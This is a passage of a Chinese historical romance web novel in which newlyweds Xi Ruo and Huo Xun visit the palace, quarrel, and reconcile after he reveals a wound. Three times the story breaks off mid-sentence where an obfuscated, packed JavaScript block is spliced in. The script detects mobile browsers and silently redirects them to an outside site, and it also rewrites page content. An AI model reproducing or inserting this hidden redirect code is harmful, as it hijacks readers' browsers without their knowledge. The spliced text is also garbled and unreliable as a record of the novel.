二人差不多一同将饭用完,但离原定的入宫的时间还差一些。霍恂问她道:“我先去拜过父母,再去宫中谢恩……你要同我一起来吗?” 息偌就觉得哪里不太对劲,脑子里晕晕乎乎的,险些就要将这事忘了。他一说,她立刻便想了起来,点头道:“应该要去见的,我与你一同去。” 逝者为大,更遑论是他双亲。息偌从前听说过这二位,一个华敬大长公主,广开女学女官之路,为不少女子开拓了坦荡前路,免于其困于深宅,一个定北大将军,镇守北关安定国邦,几番出生入死亦不曾退阵,都是响当当的人物。 息偌拜见时,一点私情都没带,只有敬重尊崇,恭恭敬敬地叩首上香,没有一丝马虎。 霍恂看着她动作,目光一直落在她身上。息偌做完这一切,回头见他看着自己,便微微偏头无声询问他何意。 他摇头表示无意,又与她一同出来,预备往宫中去。 她始终走在他身后一些,他初时以为是自己步子快了,放慢了一些,可她随即也跟着慢下来,仍旧在他后面。 等到了门前,就更过分,他站在马车旁边,原本心里想着先扶她上去,可是回过头一看,她在自己身后又远又慢地跟着,还低着头没看他。 霍恂眉心微沉,扭过头当先上了车,果见她很快跟了进来。只是她上了车也是规规矩矩地坐在一边,侧着头将目光落在一旁,一眼也不看他。 他若再发现不了她的别扭,那也就太迟钝了。 马车行动起来,霍恂望向她道:“昨夜晚了,许多话也都没说清楚。等今日从宫中回来,我好好向你解释。” 息偌随口道:“有什么好说的?” 霍恂知道她在闹脾气,微微一顿,道:“我不便打扰陛下上朝,必然是等他下朝了才要去见。李贵妃每日雷打不动,在陛下下朝之后去送汤,所以你我必然能与她碰见。” 息偌是不想理霍恂,但还不至于分不清轻重缓急,这样的话开头,总有些她需要注意的信息,是以她虽然没有回头,却仍旧在竖起耳朵认真听着。 霍恂继续道:“你也知道她与你嫂嫂的关系,这些年里,应当是帮了息家不少的。这次准备成婚的时候,我与你长兄之间有些麻烦,她却没有帮你长兄,而是暗暗推了我一把。” 息偌立刻回过头来看向他,问道:“什么麻烦?” 她在家里见过息停许多次,可从来没有听说过他遇到了什么麻烦。更何况,这桩婚事不是原本就是由息停推动的吗?他怎么会与霍恂有麻烦? 霍恂故意没说,只道:“小事。” 息偌眉心拧起来,道:“宫里都参与了,怎么会是小事?” 霍恂于是道:“宫里都参与了,你还问什么?” 那就不是她可以管的事了,虽然无非就是他们争来斗去,又拿她的婚事做了一回文章。 息偌哑口无言,瞪他一眼又转了回去。霍恂微叹,又道:“放心,你长兄没出事,他好好的,一切顺心如意。” 话音刚落,他看到她明显地松了口气。 息偌想着兄长没事了,这才想到,有胜就有负,既然息停没事,那就是霍恂这边有了麻烦? 她纠结了一下,正要发问,霍恂又道:“我是为了提醒你,李贵妃既然因为你嫂嫂的事不满你长兄,所以今日见面时,可能也要委屈你一些。若我不在旁边,你们单独对上,你就装个乖,凡事顺着她意来,我尽快去接你。” 息偌又骤然想到那些初来息家时凶神恶煞的嬷嬷们,心里难免有些慌神,可是下一刻又生起气来。 她恶狠狠地想:鹬蚌相争,殃及池鱼,再没有比她更倒霉的人了。 霍恂看着她的侧脸,原本想开口与她多说两句,又想他府上离宫中的距离说远不远,也许还没说两句便要下车,干脆便住了口。 两个人一路安静无话地到了宫中,今上还未下朝。他身边的大监得了信儿,早早安排小内监过去,先将两人接到了一处偏殿内。 内廷重地,息偌多少还是紧张,也顾不上和霍恂置气了,自己正襟危坐,腰板挺得笔直,眼睛垂下来落到前头,却也没见是盯着个什么。 霍恂侧首瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611179|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着她,看了一会儿,伸手将他们之间的那张小几推开,向她坐得近了些。 息偌被突然靠近的他吓了一跳,睁着圆圆的眼睛盯着他,却没忘压低声音道:“突然过来做什么?” 霍恂根本都没碰到她,就只是垂下眼看着她笑了笑,低声道:“你紧张什么?谁还能吃了你不成?” 息偌回头瞧了一眼,殿中的侍女和内监都没退下去,都垂手敛目立在那处,便赶紧伸手推了推霍恂,道:“你能不能规矩些?坐回去。” 霍恂没躲她的手,却又往她耳侧贴近了些,道:“这么多人看着,你和我成婚次日,这么生疏做什么?” 息偌推拒的手立刻停下了。 她感觉自己耳朵痒痒的,向后缩了缩,看着他,道:“那你也规矩些……” 霍恂又是轻笑,转过身去取小几上的茶盏。 息偌不好动手,脚下不轻不重地踢了他一下——难怪一入宫他对自己笑得这么温柔呢,都是故意拿她演戏呢,真是可恶。 霍恂盯了她一眼,没说话,但也没坐回去,就这么与她近近地坐在一处,时不时说上两句闲话,眼见着她的状态就放松下来。 如此不过多时,今上来到此处。 他连朝服都没来得及换下来,听说霍恂来了,立时便赶了过来。 他上下打量霍恂与息偌一遍,目光又落回霍恂身上,手握成拳不轻不重地在他胸口砸了一下,笑道:“你小子,这回成了婚,心也该定下来了,再不比从前在清都的时候自由自在了,也该踏踏实实好好过过日子了。” 霍恂面上保持微笑,躬身道:“陛下说的是。” 今上坐了回去,与他们闲话几句,问息偌的都是些好答的家常话,即便有息偌不好把握分寸的,也有霍恂在旁边接口,倒是不算难捱。 而没过几句话,小内监进来传话,说李贵妃来了。 今上便笑道:“让贵妃进来罢。” 他对着面前二人道:“贵妃也是为你们的婚事操劳了一番,等会儿该好好谢谢贵妃才是。” 霍恂来时早就让府上备好了礼,不轻不重,只胜在心意之上,正好带进来谢李贵妃。 于是场面话说了好一堆,大多是霍恂在前面顶着,直到李贵妃唤了息偌去她宫中说话,息偌才又紧张起来。 她下意识看了眼霍恂,霍恂沉沉地望着她,让她定神,她想到大约是今上有话与霍恂说,便又转回来对李贵妃称是。 她们一路退出了殿内。 李贵妃坐着步辇,息偌便跟随着走在一侧,路上不过是说些家常闲话,无非是问清都侯对她可好,又或者说侯府住着可还舒服便利一类的问题。 她得圣宠,殿宇都离今上近些,不多时便进了她宫中。 待坐下了,殿中的侍女也多去了,李贵妃才忽然一改在外头含笑的和蔼面色,目光微微沉了下去。她其实表情都没怎么大变,但就是莫名奇妙看得息偌一个哆嗦,总觉得要大事不妙。 果不其然,她盯了息偌半天,才开口问道:“昨日成婚,三娘回你息家府上为你送嫁了,是不是?” 25. 争吵 来了来了。 息偌就猜到李贵妃一定会问她这个。 她其实从前没有见过李贵妃,也与李贵妃没有什么交集,若非要说有什么交集,那也就是在李常希嫁到息家以后,宫中几回送给李常希的赏赐里头,也带了些给息家女眷的。 俗话说拿人手短,可惜息家对李常希却没有多好,息停更是个混蛋中的混蛋。 息偌立刻连坐也不敢坐了,站起来回话道:“是。那日上午嫂嫂回来,一直在臣妇身边陪伴,臣妇心中才不至于太过紧张。” 李贵妃听了这句,不冷不热地道:“三娘与我说过,她是很喜欢你这个小姑的,在家时天真浪漫,与她一处陪伴时,很是有趣。” 息偌道:“是嫂嫂关爱臣妇,臣妇与父母心中一直念着嫂嫂的好的。” 孰料李贵妃却冷笑一声,道:“这话倒是没错,你与你父母尚且是知冷知热、知好知坏的,旁的就说不清楚了。” 息偌岂能不知道她是在恼恨息停,哪里还敢火上浇油,干脆听了霍恂的话,一切都顺着李贵妃的来,垂着头做惶恐之状。 李贵妃看着她这样,心中的气散了些,手中又指了指一旁的座位,道:“非你之过,你惶恐什么?快坐罢,等下清都侯过来,若是见你如此,便该恨上我了。” 息偌于是谢过坐下。 她到底才出阁,看面相还是个年轻的姑娘家,李贵妃看着也是心软的。只是她一边心软,却也一边忿忿——谁的妹妹不是被放在心尖上捧着护着的? 息家护着家中的小女儿,要给女儿的婚礼撑场面,还要在姑爷面前摆架子,做出一副谁也不许欺负了他家姑娘的样子来。可是她李家的小女儿就不是如此吗? 息为止那厮,知道这般护着自己的妹妹,怎么就敢前头立下不二重誓,扭过头又这般欺侮李家的女儿。 实在可恨! 她是没打算为难一个并不知事的无辜小姑娘的,但是却也实在做不出和蔼神色。今日叫她如坐针毡又如何?她惧了怕了,回去就该与夫君、与父兄哭诉,让他们知道,李家的女儿也是不能被轻慢的。 李相没了,也没留下什么儿子,李家如今是没了男丁了,可是李姓照旧还是说得上话的。息停在朝上急流行舟,看得清形势,就知道该怎么做。 要么将李常希好端端地接回去,好端端地供着,要么就干脆签个和离,将来桥归桥路归路,谁也不碍谁的道儿! 李贵妃诚心要晾着息偌,在她面前将姿态做足,息偌明知她是故意,却也因为知道自家长兄做下的那些亏心事,难免心虚,简直如坐针毡,度日如年。 她手里捧着茶,没有话说,便只好低下头去抿茶,抿了一口又一口、一杯又一杯,终于在续第四杯前,听到外头内监传话,说陛下与清都侯一道来了。 李贵妃余光见着息偌吁了一口气,轻笑一声,道:“快去备茶罢。”而后便起身接驾。 息偌眼睛里见着霍恂,简直就像看见救星一样亮晶晶的,只是她自己却不知道,心里还生了些怨气出来,暗想道:这可恶的霍恂!说了尽快来接她,怎么耽误了这么久! 霍恂看着她这副想要跳脚却不敢张扬的委屈模样,心里实在是觉得可爱得很,没忍住露了一脸笑意,看得息偌心里更是恨恨。 今上已听说了他们两人在偏殿凑近了说话的亲密事,眼下又见他们这般互动,尽是些新婚夫妇的腻乎劲儿,便笑着打趣他们两句,说得息偌脸颊通红。 霍恂将她往身后挡了挡,道:“陛下快别拿我夫人取笑了。眼下她不说话,回家了是要同我闹的。” 息偌用藏在他身后的那只手狠狠戳他腰。 今上望着他们二人朗声大笑,摆摆手放过了他们,道:“心都飞了,去罢!朕也不稀得留你这顿饭!” 他们于是行礼退了出来,息偌这才问他道:“我还以为陛下要留你用饭的,怎么这么痛快就把咱们放出去了?是你同陛下说过了?” 霍恂看她道:“不然呢?贵妃懒得同你说话,陛下同你说话你又害怕,真叫你与他们一同在宫里用饭,来一桌山珍海味,恐怕你也吃不下去。” 息偌心中纳罕,扁扁嘴道:“你猜到贵妃懒得同我说话,还不快些来救我!” 霍恂道:“尽快了。陛下有些话同我说,我总不好催他——‘你快别再说了,我家夫人还等我去救命’!” 息偌又恶狠狠推了他一下,警告他道:“什么你家夫人!油嘴滑舌!” 霍恂面色微微一变,息偌瞧见了,心里跳了一下,不知道怎么回事,又见他复笑起来,道:“推推搡搡成何体统?夫人,你的规矩呢?” 她觉得他是故意的,故意拿“夫人”来逗她,所以干脆将脸别过去,与他拉开距离,不再理他了。 她用这一点距离来迅速强迫自己理智回笼,不要再被今日入宫面圣的紧张和他人前做戏的这些温柔与小意蒙蔽了双眼——他这些样子都是假的! 霍恂感觉到她周身的气息似乎倏然间冷寂了下来,却一时只以为她是在恨他人前招惹她,只是此处也不是说话的地方,便只凑近她些,压低声音道:“等出去我再与你说。” 她没搭理他。 两人一路走到宫外,重新坐进马车,霍恂知道自己昨晚睡书房的事必然惹恼了息偌,所以今日她才对自己横眉冷目的。他有心想要哄一哄她,便问道:“今日有空,要不要一起出去转一转?” 息偌直接拒绝了,道:“我这两天累得很,不想转,想歇。” 霍恂看她懒得与自己说话,心里估摸着除非是正事,大约她也懒得理会,于是半真半假道:“陛下说,等这阵子过了,便要为我封官。初入官场,只怕事多,大约一时难以抽出空来陪你。” 息偌嗤道:“我稀罕你陪吗?” 霍恂问道:“荔溪坪别院里的小马,我已经替你选好了,性格温顺,很是亲人,你不想去看看吗?” 息偌道:“过阵子罢,府上带过来那么多东西还都没收拾呢。” 霍恂道:“急着收它做什么?家里也没其他长辈压着你守规矩。更何况,你不是说这几日累吗?” 他说前半句,语气还尚算作轻快,说到了后半句,口吻便渐渐深沉了些,故意就是要戳破她故意推辞的假话似的。 息偌当然是听出来了,她回过头看着他,直白道:“就是不想同你去,你还问什么?” 霍恂揉了揉眉心道:“昨晚兵荒马乱,你疲累,我也费力气,时间又晚了,哪里还来的空去说事儿?” 息偌道:“你我能有什么事儿?官场上的事我不懂,你与我长兄本也就不把我放在眼里,哪有什么话可说?” 霍恂道:“不说这话,莫非你气的是我与你不曾成事吗……” 息偌恶狠狠踢他一脚,羞恼道:“青天白日,还在外头,你酒没醒吗?说什么疯话!” 霍恂又折回了上一句话,反问道:“谁又说了什么,让你觉得我与息大郎君都没将你放在眼里?除了这桩婚事非你所愿,我又何处薄待过你吗?” 没有。 但这事不是这样算的。 息偌冷冰冰转过头去,道:“你心里清楚。” 这话让霍恂听笑了,居然追问起她来,道:“我心里不清楚,夫人与我讲讲?” 他说话简直变本加厉,称呼上听得息偌牙根痒痒。她立刻道:“又不在人前作戏,你少这般叫我。” 霍恂盯着息偌的侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15622853|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸瞧,目光分明深了些。 他和她相处的氛围,的确算不得和睦温情。息偌心里总是对他有防备怨气,难免他们时不时就要说些刺话。但他知道她不是真的,只不过是有些娇养的脾气,只要他放低姿态哄一哄她,总是很快就过去的。 但眼下分明不是这样。 他忍住了,一直到马车停到府门前都没有再多说一个字。 马车一停,息偌当先下了车,就好像一时半刻都不愿意与他待在一处似的,看得他眼神愈冷。 小盼跟着息偌往前去了,雁行跟在车边,眼里看得清晰分明,这侯夫人分明就是不愉快的。他正想回头问问自家侯爷是怎么招惹了夫人,就看到侯爷比夫人更深更黑的脸色。 他愣了一下,就这么一愣之间,霍恂大步下了马车,几步就追到了息偌身边。 他一手不容分说地捉住她手腕,强硬地牵着她往居所走。息偌手里开始挣扎,他便冷着脸道:“你在此处闹也没用,也别想着叫你那侍卫息忍。今天话不说明白,咱俩谁也别想算了。” 息偌脾气也来了,真回头喝止了追上来的息忍,然后将霍恂的手甩开,冷声道:“用不着你拉我。我又没错,还能跑了吗?” 她扭过脸,走到了霍恂前面。 他们走得都快,风风火火进了院子。侍女们原本要上来迎,看着两人气冲冲的脸都是微顿,然后就看见他们一齐进了房间。霍恂走在后头,还关上了房门。 这又是做什么? 息偌坐到妆台前,对着镜子把自己头发上那些繁丽沉重的首饰都卸了下来,因为动作太重,把自己发髻都扯乱了几分。 霍恂站得远远的,冷眼看着镜子里的她,道:“若你觉得我在新婚当日便与你分房是冷落薄待、甚至于是羞辱了你,那我可以告诉你,息四娘,我绝不会与你圆房。” 息偌又是羞又是气,怒道:“你不稀罕我做你的妻子,我还不稀罕你来做我的夫君!” 霍恂沉声道:“这与稀不稀罕没关系。我早就与你说过,将来我若死了,你改嫁也并不困难。夫妻敦伦本该是件水到渠成的乐事,我不是你心爱的郎君,强迫你与我做这些有什么意思?你若将来嫁了喜欢的郎君,再与他一起不好吗?” 他自认还是了解男子那些劣性的。也许有人肯娶她,不会介意她曾婚嫁,可若是将来遇到什么事争执起来,拿上此事说事,那真是百口莫辩。 她与他成婚,已然是说不清楚了,但是能留的清白,留足也不难。 息偌回过身,将手里的梳子直接砸到他身上,恶狠狠道:“我也早就同你说过了!为什么非要说这些?为什么就不能好好过日子?” 她心头堆的那些怨气和委屈都一并迸发出来,眼泪啪嗒啪嗒地往下掉,口中怨道:“我都同意成婚了,我也是想好好珍重你,不管你与我长兄闹成什么样子,起码咱们两个是好好对待彼此的。可你都是怎么做的?用那些不痛不痒的书信和珠宝来敷衍我,见都懒得见我,成日里想着怎么解决了自己的事后就把我丢到一边去。我是个什么物件吗?你兴趣来了,将我逗上一逗,没兴趣了,我就该安安静静地滚到一边去。” 她眼前都模糊,又觉得在他面前如此好没意思,狠狠将自己的眼泪抹了,站起身来,也不看他的脸,恶狠狠地在他身前砸了几拳,又将他向外推去。 “谁要与你好好说话?我也有自己的脾气,你不见我,不想听我说话,那我也不见你,我也不要听你说那些废话!” 霍恂脸色一变,闷哼了一声,捉住了她的手。 他听到了这些话,突然意识到,昨晚她揭开盖头后面对他的那些生疏并不是害羞,是他做错了某些事情,却并没有意识到伤害到了她。 26. 解释 原本,在今日之前,霍恂没有过一丝一毫想要与息偌坦白自己这些日子经历的念头。 因为最近他经历的这些事,大多都是因为他要入朝而惹出来的麻烦事,而这些和息偌是没有关系的。 他的确希望息偌不要糊里糊涂地嫁给自己,却对自己的处境和情况毫不知情,但也不希望她知道这些与她无关也无力解决的麻烦事,徒添烦恼。 但是他们已经是夫妻了,每天都要待在一起,他什么都不说,她一定会发觉,再加上他们之间不算清白的关系作祟,她多想多思或者误会起来也是情理之中。 只是该不该说呢?他还是在犹豫。因为此间的分寸实在很难把握,他还是不够了解她,不知道他说一分,她又会想到几分。 而且此刻,他脑中有些思忖不清了。 因为她正在哭。 而这委屈是他造成的。 他感觉脑子都发胀,伤口也在剧烈地泛出疼痛。他知道自己的伤口一定已经裂开了,如果理智的话,他应该先去处理伤口。 可是他眼前的这个人,似乎才应该是他优先应该解决的难题。 “四娘……曼曼。” 息偌根本不予理会,虽然被他攥住了手腕,却还是在剧烈地挣扎,想要将他从自己的房间里推出去,从自己的视线里推出去。 霍恂垂下眼看着她,认命一般地微叹道:“夫人,你再这样闹下去,我可能真的会死。” 息偌已经为这话闹了两回,第三次听到的时候简直是火冒三丈,怒道:“别叫我夫人!你死了也和我没关系!” 霍恂直白道:“我受伤了,你推得我伤口好疼。” 息偌不信道:“你演什么?” 霍恂趁她看向自己,立刻流露出可怜神色,道:“年关里我出城,去皇陵祭拜我母亲,遇到了点麻烦,受了点小伤,到现在还没好呢。” 息偌看着他这副样子,想他一肚子坏水,哪里是能示弱的性子?尤其他本就对自己心怀芥蒂,必然是装模作样。 可是她看着他的样子,此刻说话时比从前微倦的声音,想到昨日晚上对坐时他分明疲累的模样,又觉得也许不乏有一些是真。 虽然万分之九千九百九十九都是演的,可……万一是真的呢? 她这样一个善良的女孩子,可不是什么无理取闹不听人辩驳的恶人啊。 她决定在判处死刑前也要听一听罪犯巧舌如簧的狡辩,于是不再挣扎,将信将疑问道:“伤哪儿了?” 霍恂迟疑了一下,面上露出些为难。 息偌冷笑道:“想不出吗?说谎前都不打个腹稿,这么简单的问题都答不上来。” 她看着他那张可怜的脸,愈发觉得他在故意用美色哄骗自己,简直是罪加一等的可恨,于是嗤道:“我替你说罢?你被当胸杀了一刀,险些穿心送命,眼下能站在这里骗人都是老天垂怜了。” 霍恂“嚯”了一声,十分自如地接口道:“夫人怎么这样聪慧?连这都能想到?” 息偌手腕被捉着,只能动脚又踢他两下,烦道:“最烦你这样满嘴胡说的人!你给我出去,我与你没什么好说的了。” 霍恂问道:“当真吗?” 息偌道:“真!你给我出去!” 明知道她已经生气了,明明已经听到了她的真心话,他却还是这样插科打诨地对她说话,她再原谅他一次就是傻子。 霍恂道:“成。” 然后他松开了她的手,退后了一步,开始原地解起自己的衣裳。 本就是还没彻底过冬,再加上他今日入宫,穿的衣服本就比往常更要繁复些,大氅和外袍一道落地时真是好大的阵势。他犹然不足,动作极快,又去扯腰带。 息偌看到一惊,想他真是疯了,下意识过来要拦,嗔道:“你做什么……” 他感觉到她的阻拦,干脆一不做二不休将整边衣襟从领口顺着拉开。 于是她的声音就这么被卡回了嗓子里,因为她看到了他里衣上渗出来的血迹。 她惊讶地看着那一大片红,又抬起头看他的脸,整个人一时顿住了——她方才当真是乱说的! 霍恂也不管自己眼下一身凌乱,见她安静了,便问道:“眼下我们能好好说话了吗?” 息偌咬了咬下唇,发现自己两只手还在他衣襟上拉着,狠狠将他衣襟扯上拢住,然后退后一步指着他道:“去将你收拾好了再来。” 她指的是伤口。 霍恂点点头,道:“你帮我叫雁行来罢?” 他眼看着她要让他出去,继续道:“这事儿对府上的人也多是保密的,没几个人知道,让雁行来悄悄帮我处理了就好,我实在没力气收拾好了再出去找他。” 他又开始卖惨了。 息偌目光瞥到他衣襟都掩不住的血迹,白了他一眼,绕过他去要开门。霍恂却叫住了她,在她不耐烦的眼神里指了指鬓侧的位置。 她一摸才反应过来,之前她将首饰扯下来,将头发也扯散了,这样不清不楚地出去,让人看了成什么样子? 她闹了个红脸,走到门口去唤人,几个侍女都在外头守着,听了话领命去了。 息偌回过头,见他还那么凌乱地站在那处,便走过去捞起他地上的衣裳往座上一砸,丢下一句“在这儿等着”,就自行走到屏风后头收拾自己了。 霍恂卖惨的戏份做完,也不再坚持,自己过去坐下深呼两次,硬是把那股痛意忍下去。雁行很快就提着东西过来,开始帮他处理起伤口。 息偌脑子里一直想着那片红,草草将头发梳好,也没换衣裳,打算出去再看一眼。谁料走出屏风,正看到霍恂脱了里衣坐在那处的样子,雁行刚将绷带剪开清理伤口,此刻正是血淋淋的一片。 她哪儿见过这样子?吓了一跳立刻就折身转了回去。 霍恂看见了她这一处动静,微微拧了眉,让雁行加快速度。雁行也没敢耽误,手下动作飞快,替他包扎好将衣服帮忙穿上便退了出去。 息偌听到外头明显加快了速度的窸窣声,不多时霍恂就来到了她的面前。他低着头打量她的神色,问道:“吓到了?” 她一个京城富饶地长成的女儿,大约是没见过这么血腥的场面的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634289|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>息偌看着他,后知后觉地觉得他脸色没有从前看起来好,犹豫了许久方问道:“你的伤,和我……和息家,有没有关系?” 霍恂摇头道:“没关系。他们是冲我的命来的,不肯我入朝,干脆一了百了。对你长兄来说,我死了不是好事,他若在侧,还得想方设法救我。” 他看见息偌皱了皱眉,便拉着她面对面坐下,道:“我发现你对我误会太深了,我得给自己辩解几句——我没有不将你放在眼里,也没有故意冷落你,拿随便什么东西去敷衍你。” 他从头开始为她解释,道:“你也瞧见了,许多人是盯着我的行动的。成婚是我入京后的一桩大事,不少眼睛都盯着我的举止。我不好太亲近,也不好太疏远,就这么礼节备至、循规蹈矩,是最挑不出错、最看不出底细的做法。” 他说到这里,笑了一笑,道:“谁说我不愿意见你了?请期那日,我不是恳请你父亲同意让我们见面吗?” 息偌想起自己之前被憋在家里的日子,不满道:“也就那一次。” 霍恂调笑道:“只有那一次我瞧见你了。之前我以为你是不想见我的。” 他挑一挑眉,故意道:“我不是一看见你就忍不住了,非要见你一面不可吗?” 息偌立刻道:“你少油嘴滑舌!” 霍恂见她气消了一半,便继续道:“那日从荔溪坪回来,我就叫人去选马了。原本是打算等到了十五,带你去玩一会儿,赶着城门下钥前回来,看看灯,再将你送回家和父母团圆。这不是没赶上吗?我那会儿真是疼得要命。我知道你那天等着我呢,都没出去玩儿,这账先欠着,我回头都给你补上。” 正月十五,上元佳节,他岂能不知道有什么意思?从除夕夜那晚他回到府上时就在想了,全天下的家人都想要团圆,他也是想的,父母亡故阴阳两隔,可是将来要成为家人的他的妻子,早半月来与他团圆又为何不可呢? 他已经过了这么多年无法团圆的日子,就多这么一次团圆,为何不可呢? 可老天偏就让这一次也不行。 他本来想着,就这么一回上元,他不要也就不要了,没有也就没有了,可是他的妻子分明在为此而伤心过头了,那他就非得要追回来这次佳节了。 息偌听他解释,心里气消了七七八八。她觉得他既然解释,就没有说瞎话的必要了,可是最后一句又听得她再次讨厌起他来。 “我没有等你!你听谁说的!少自作多情!” 霍恂自如接话道:“那就当我自作多情了。现在我主动邀请,夫人可愿去吗?” 这句“夫人”大约如同“曼曼”一样,是阻止不了了。息偌撇嘴道:“等你好了再说罢。” 行,这就当作是答应了。 霍恂笑了一笑,道:“还有最后一件事,关于你我婚后该如何相处——息偌,你是我自己选定的妻子,我想要与你成婚,与你联结姻缘。那些你不爱听的话,其实我也不爱说、不愿想。如果有机会,我也想与你一道长命白首。” 他认真地看着她的眼睛,道:“我是想好好与你在一起的,夫人。” 27. 对坐 息偌觉得有点不对劲。 现在的状况发展得和她预想的已经完全不同了。 她原本早就冷静下来,要理智地保持好距离来保护自己了,怎么他眼下三言两语的,就又哄得她不分东南西北了? 她甚至还觉得——哎,他也是有苦衷的,他不是故意的,他不是诚恳地道过歉说想要和她好好过了吗? 这不对劲! 她怎么又这么轻易地被他哄骗了! 息偌站起来,和他拉开一段距离,这才抱着手臂防备地看着他道:“我不信你说的话。” 她讨厌那种自己被低看的感觉,拧着漂亮的长眉道:“你对我总是这样,要么说好听话故意逗我,要么说难听话故意吓我,都是凭心情来的。还有,前面说让我改嫁与别人生活的是你,现在说要与我一起好好生活的还是你,哪句我能当是真的?” 她非常严肃道:“我与你相见不多,但你对我总是性情不定。所以你今天说的这些话,我一个字也不相信。” 霍恂偏头问道:“不能再信我一次吗?” 息偌肯定道:“不可以。这是你自己的错,你要承担后果。” 她指了指大门的方向,仰着下巴道:“你也可以不承担,现在出去,我就当什么鬼话都没听过。” 霍恂点点头道:“那我不费那个劲了,就在这里承担后果好了。” 他虚心求教般问道:“那么我该如何做呢?夫人?” 息偌眨眨眼睛,反问道:“你问我?谁家好人诚心认错还要走捷径的?” 霍恂笑着起身,道:“成,那我自己琢磨琢磨,入宫折腾这么久,咱们先吃饭罢,夫人。” 他走到门边去唤侍女,叫摆午饭,他们一起在这里用。 厨房里每日都是卡着时间备饭的,尤其听说了今日二位主人都从宫中早早回来,必然是没有用饭,所以一切都已经准备妥当。 夫妻二人落座不多时,便有侍女入内,将午饭摆在了他们二人中间的小几上。 霍恂在清都住得久,其父是厉行节俭的行伍之人,故而他并不如其他贵胄用饭时那般铺张浪费。先时息偌与他在别院吃过一回,彼时是突然前往,准备匆忙,故而只上了四道菜,并不算多。 眼下在府中,每日准备妥当,公主府的旧人舍不得他轻简,又有关大夫替他准备每日药膳,故而种类多了一些,光菜式就足足准备了十二种。 不过他们也晓得他的性情,菜式虽多,量却不大,每样只上了一小碟。是以虽然只有两个人用饭,这份量也是正正好好,不至于不够,也不至于太撑剩下。 碟子小,桌也小,霍恂不习惯有人布菜,息偌在家里也没这样的要求,所以侍女们都只守在一侧,既给了他们说话的空间,又不至于离得太远不好伺候。 息偌平心而论,来到这侯府之前,她虽然有许多对大事小情上的顾虑,可是真的住在这里时,却并不觉得如何不便。 大抵霍恂生活中也是个有距离、有分寸的人,所以底下的侍从也都进退得当,并不至于让息偌难以适应。 她舒舒服服地用饭,霍恂一边为她更换菜碟,一边望着她笑问道:“想着你我以后应当是要一起吃饭的,所以这几日让他们多做几样,都给你试试,若是多了或者不合口味,你回头都告诉他们,让改就是了。” 息偌先前就觉得了,不管是别院那边,还是侯府这边,虽然她用的次数还不算多,但口味上都与她的爱好很是近似。 先前未嫁时,父母担心她嘴刁,吃饭不合口味,还寻思着要带个厨子给她送过去,当时被她先劝罢了,打算去了看看再说。眼下这么一试,的确是没必要了。 她没什么不满意的,咽下口中的饭菜,答了句“都好”。 只是,她有些微讶地看着霍恂道:“我前两回和你用饭,以为你是那种恪守食不言寝不语规矩的人。” 霍恂将空了的菜碟转手让侍女撤走,口中道:“我母亲平和,喜欢与人闲聊,没有这样的规矩。我父亲出身行伍,习惯了与兵士一起吃饭说话,也没要求过我。” 他瞥她一眼,问道:“你在家与父母吃饭,他们要你守这个规矩?” 息偌摇摇头,很自如地接过他递来的一小杯果酿,道:“阿爹阿娘疼我,不管这个,但长兄是守的,他若是来了,我们就不大说了。” 霍恂挑眉道:“他那般不守规矩的人,还能给你父母立起规矩?” 息偌讶道:“他还不守规矩?他是规矩最大的人了。” 霍恂不大在意地想:什么规矩最大,他是毛病最多。 他抬眼瞧了瞧息偌,道:“你倒奇怪,那么怕他,嘴里还三句不离他。我瞧他息大郎三分好名声,只怕都是让你夸出来的。” 他这话的语气一点都没轻蔑不屑,不过是说笑打趣而已,息偌听在耳中也并没有气恼。 她就是觉得有点奇怪,于是稍微前倾了些身子,问他道:“他是何处对不起你过,怎么都说你与他不对付呢?” 霍恂随口道:“儿时一同听过课,先生喜欢我不喜欢他,他嫉妒我罢。” 息偌立刻道:“你胡说。我听我爹娘说过,他课业从来都是很好的,先生怎么可能不喜欢好学生?” 霍恂笑了笑。 他们听课,又不像这些小娘子们在家中的教习,除了课业完成的好坏以外,需要考察的地方多了去了。当初那位教习的先生的确是很欣赏息停的才能,但也的确没少愁过他行事的态度。 但这话给她说了也没意思。 他半真半假道:“那就是我从小就身弱,先生疼我,更偏爱我些。” 息偌点点头,觉得这话还差不多真一些。 她看见霍恂端起旁边那份药膳,隔着桌子她都闻到了一股药味,可以说是这整张桌子上最不好吃的一道了,但他却吃得面不改色,几口就见了底,将空碗撤了下去。 息偌闻着味儿就觉得反胃,想了想,伸手将一旁的一个梅花甜酪给他推了过去。 霍恂微怔一下,道:“那是给你的,我不用这个。”他停了停,又道:“我习惯了,不觉得苦。” 苦哪能习惯?息偌长这么大了,喝苦药也是要难受的。 她“哦”了 